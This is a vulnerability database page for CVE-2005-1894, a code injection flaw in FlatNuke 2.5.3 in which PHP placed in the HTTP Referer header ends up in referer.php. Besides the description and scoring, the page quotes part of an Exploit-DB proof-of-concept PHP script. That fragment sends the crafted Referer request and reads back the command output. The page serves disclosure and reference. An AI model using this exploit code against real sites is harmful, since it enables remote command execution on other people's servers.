CVE-2005-1894 : Detail

CVE-2005-1894

Code Injection
A03-Injection
1.16%V3
Network
2005-06-08 02:00 +00:00
2009-02-26 09:00 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

Direct code injection vulnerability in FlatNuke 2.5.3 allows remote attackers to execute arbitrary PHP code by placing the code into the Referer header of an HTTP request, which causes the code to be injected into referer.php, which can then be accessed by the attacker.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metric Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 25801

Publication date : 2005-06-06 22:00 +00:00
Author : SecWatch
EDB Verified : Yes

source: https://www.securityfocus.com/bid/13882/info Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts. An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC

FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC


Host+Path: (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)
Directory:
&e{$_SESSION['rand']}$int"; /* ensure all required vars are present */ if (isset($_POST['URL']) && $host != "" && $cmd != "") { /* connect to target */ if (!$fp = fsockopen($host, $port, $errno, $errstr)) { echo "Cound not connect to $host ($errstr - $errno)
\n"; } else { /* make HTTP request */ fputs($fp, "GET $path.$quer HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Referer: $referer\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fclose($fp); usleep(150000); /* retrieve command output */ if ($result = file_get_contents("http://$host:$port$reflog")) { /* strip other irrelevant referer information */ $trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=")); $trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim); /* display trimmed command output */ $_SESSION['output'] .= htmlspecialchars($trim); } } } ?>